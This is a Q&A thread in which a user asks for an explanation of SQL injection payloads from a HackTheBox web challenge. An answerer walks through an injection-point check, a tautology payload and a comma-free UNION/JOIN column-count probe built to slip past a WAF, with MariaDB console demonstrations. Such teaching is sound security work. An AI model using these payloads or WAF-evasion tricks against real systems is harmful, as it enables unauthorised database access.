0

I'm struggling with a CTF(Capture The Flag) Web Challange on hackthebox, not being an expert in penetration testing I'm asking your help to explain me (with some comments) some commands used to reach the solution, expecially about the syntax and logic of the commands themselves. (A reference to the commands can be found here (click me), so you have the whole situation very clear).

I ask you to be very detailed, even on things that may seem trivial. Leaving aside the base64 encoding (that I understand) I need to understand these commands and their related parameters (syntax and logic of the commands):

1th: {"ID":"1"}

2nd: {"ID": "1' or 1-- -"}

3rd: {"ID": "-1' union select * from (select 1)table1 JOIN (SELECT 2)table2 on 1=1-- -"}

About the 3rd command, I saw the same command but with an alteration of the table names, like this:

{"ID": "-1' union select * from (select 1)UT1 JOIN (SELECT 2)UT2 on 1=1-- -"}

What is the difference? Is the name given to the tables in the query irrelevant?

If you need further clarification or I haven't made myself clear, just tell it and I'll try to help you. Thank you in advance.

Zoythrus
  • 165
  • 1
  • 11
  • Your question would be better IMHO if you instead show the full SQL query, not just a fragment of it, and then point out which parts are not clear to you. – Tim Biegeleisen Jan 11 '20 at 16:08
  • 1
    I can't seem to find the sql injection payload ```-1' union select * from (select 1)UT1 JOIN (SELECT 2)UT2 on 1=1-- -``` on the page that you provide. But I guess it's used to test whether the WAF will block payload containing word ```union``` or not. – Kristian Jan 11 '20 at 17:33
  • @TimBiegeleisen That is the full SQL query. Don't forget that it's a web challange, you've to do an SQL Injection attack, and you don't know what's behind. What is not clear to me is the syntax of the query – Zoythrus Jan 11 '20 at 18:34
  • @Kristian That's right. The WAF filters out keywords and symbols, such as a comma, so this query has been formulated in this way to avoid the use of a comma and bypass the WAF. About the other query, it's taken from a pdf that I can't show you, but trust me, it produces the same and identical result, but I would like to understand the syntax, because I've never seen a query like that, expecially the "from" params: select * from (select 1)UT1 – Zoythrus Jan 11 '20 at 18:47

1 Answers1

2

The stage of hacking is: recon, scanning, gaining access, maintaining access, and clearing tracks. Basically it's just obtain information, then do something with that information It seems that this SQL injection learning module is used to teach how to obtain information about the current system.

The basic of SQL injection is inserting SQL code/command/syntax. It's usually done in the WHERE clause (because webapp often have search feature, which is basically retrieving user input and inserting it on the where clause.

For example, the simplest vulnerability would be like this (assuming MySQL and PHP):

SELECT * FROM mytable WHERE mycolumn='$_GET[myparam]'

Payload is what you put inside the parameter (ex: myparam) to do SQL injection. With such query, you can inject payload 1' OR 1=1 to test for SQL injection vulnerability.

1st payload

1st payload is used to check if there is an injection point (parameter that can be injected) or not.

  • If you change the parameter and there is a change on the output, then it means there is an injection point.
  • Otherwise there is no injection point

2nd payload

2nd payload is used to check if the target app have SQL injection vulnerability or not (would the app sanitize user's input or not).

  • If the app shows all output, then it means the app have SQL injection vulnerability. Explanation: because the query sent to RDBMS would become something like this

Before injection: SELECT col1, col2, ... colN FROM mytable WHERE col1='myparam'

After injection: SELECT col1, col2, ... colN FROM mytable WHERE col1='1' or 1-- -'

Please note that in MySQL, -- (minus-minus-space) is used to mark inline comment. So the actual query would be: SELECT col1, col2, ... colN FROM mytable WHERE col1='1' or 1

3rd payload

3rd payload is used to check how many column the query would SELECT. To understand this you have to understand subquery, join, and union (do a quick search, it's a very basic concept). The name or the table alias is not important (UT1 or UT2), it's just identifier so that it's not identical with current table alias.

  • If the query succeed (no error, the app display output), then it means the app query SELECTs 2 columns
  • If the query failed, then it means it's not 2 column, you can change the payload to check for 3 columns, 4 columns, etc...

Example for checking if SELECT statement have 3 columns:

-1' union select * from (select 1)UT1 JOIN (SELECT 2)UT2 on 1=1 JOIN (SELECT 3)UT3 on 1=1 -- -

Tips: when learning about SQL injection, it's far easier to just type (or copy-paste) the payload to your SQL console (use virtual machine or sandbox if the query is considered dangerous).

Edit 1:

basic explanation of subquery and union

Subquery: It's basically putting a query inside another query. Subqueries may be inserted in SELECT clause, FROM clause, and WHERE clause.

Example of subquery in FROM clause:

select * from (select 'hello','world','foo','bar')x;

Example of subquery in WHERE clause:

select * from tblsample t1 where t1.price>(select avg(t2.price) from tblsample t2);

Union: concatenating select output, example:

tbl1
+----+--------+-----------+------+
| id | name   | address   | tele |
+----+--------+-----------+------+
|  1 | Rupert | Somewhere | 022  |
|  2 | John   | Doe       | 022  |
+----+--------+-----------+------+
tbl2
+----+--------+-----------+------+
| id | name   | address   | tele |
+----+--------+-----------+------+
|  1 | AAAAAA | DDDDDDDDD | 022  |
|  2 | BBBB   | CCC       | 022  |
+----+--------+-----------+------+

select * from tbl1 union select * from tbl2
+----+--------+-----------+------+
| id | name   | address   | tele |
+----+--------+-----------+------+
|  1 | Rupert | Somewhere | 022  |
|  2 | John   | Doe       | 022  |
|  1 | AAAAAA | DDDDDDDDD | 022  |
|  2 | BBBB   | CCC       | 022  |
+----+--------+-----------+------+

Edit 2:

further explanation on 3rd payload

In mysql, you can make a 'literal table' by selecting a value. Here is an example:

MariaDB [(none)]> SELECT 1;
+---+
| 1 |
+---+
| 1 |
+---+
1 row in set (0.00 sec)

MariaDB [(none)]> SELECT 1,2;
+---+---+
| 1 | 2 |
+---+---+
| 1 | 2 |
+---+---+
1 row in set (0.00 sec)

MariaDB [(none)]> SELECT 1 firstcol, 2 secondcol;
+----------+-----------+
| firstcol | secondcol |
+----------+-----------+
|        1 |         2 |
+----------+-----------+
1 row in set (0.00 sec)

The purpose of making this 'literal table' is to check how many column the SELECT statement that we inject have. For example:

MariaDB [(none)]> SELECT 1 firstcol, 2 secondcol UNION SELECT 3 thirdcol, 4 fourthcol;
+----------+-----------+
| firstcol | secondcol |
+----------+-----------+
|        1 |         2 |
|        3 |         4 |
+----------+-----------+
2 rows in set (0.07 sec)

MariaDB [(none)]> SELECT 1 firstcol, 2 secondcol UNION SELECT 3 thirdcol, 4 fourthcol, 5 fifthcol;
ERROR 1222 (21000): The used SELECT statements have a different number of columns

As shown above, when UNION is used on two select statement with different number of column, it'll throw an error. Therefore, you can get how many column a SELECT statement when it DOESN'T throw an error.

So, why don't we just use SELECT 1, 2 to generate a 'literal table' with 2 column? That's because the application's firewall block the usage of comma. Therefore we must go the roundabout way and make 2 columned 'literal table' with JOIN query SELECT * FROM (SELECT 1)UT1 JOIN (SELECT 2)UT2 ON 1=1

MariaDB [(none)]> SELECT * FROM (SELECT 1)UT1 JOIN (SELECT 2)UT2 ON 1=1;
+---+---+
| 1 | 2 |
+---+---+
| 1 | 2 |
+---+---+
1 row in set (0.01 sec)

Additional note: MariaDB is the 'free version' of MySQL (since MySQL was sold and made proprietary). MariaDB maintain more or less the same syntax and command as MySQL.

Kristian
  • 2,456
  • 8
  • 23
  • 23
  • Your explanation is impeccable. But the only thing I would like you to explain better is the subquery, on the syntactic and semantic level of the 3rd query: {"ID": "-1' union select * from (select 1)UT1 JOIN (SELECT 2)UT2 on 1=1-- -"}, I want to understand this part: "(select 1)UT1"; so, UT1 it's an identifier and I can name it whatever I want, but what is "select 1"? Is it a value? Or a name of a column? This query was composed to avoid the use of a comma, but so, if I had to use a comma, what would it look like? This last thing and I'll close, thank you in advance – Zoythrus Jan 13 '20 at 14:57
  • Query ```SELECT 1``` would make a 1x1 table (1 column, 1 row), the column name is called ```1``` and the row contains ```1```. If you can use comma, then you would change the query to: ```-1' union select 1, 2 -- -``` – Kristian Jan 13 '20 at 16:40
  • 1
    @Zoythrus edited my answer, please check if it helps you understand – Kristian Jan 13 '20 at 16:52
  • So, if I understand correctly, "SELECT * FROM (SELECT 1)UT1 JOIN (SELECT 2)UT2 ON 1=1-- -" it's the equivalent query of "-1' union select 1, 2 -- -" without using the comma, isn't it? But it's strange that it's just a SELECT without the FROM – Zoythrus Jan 13 '20 at 17:05
  • I thought the comma query was something like this: {"ID":"-1 union SELECT * FROM table1,table2 -- -}, so it's wrong? – Zoythrus Jan 13 '20 at 17:12
  • It's not strange, that's the syntax. Query ```SELECT * FROM table1,table2``` is an equivalent with ```SELECT * FROM table1 JOIN table2``` – Kristian Jan 14 '20 at 01:26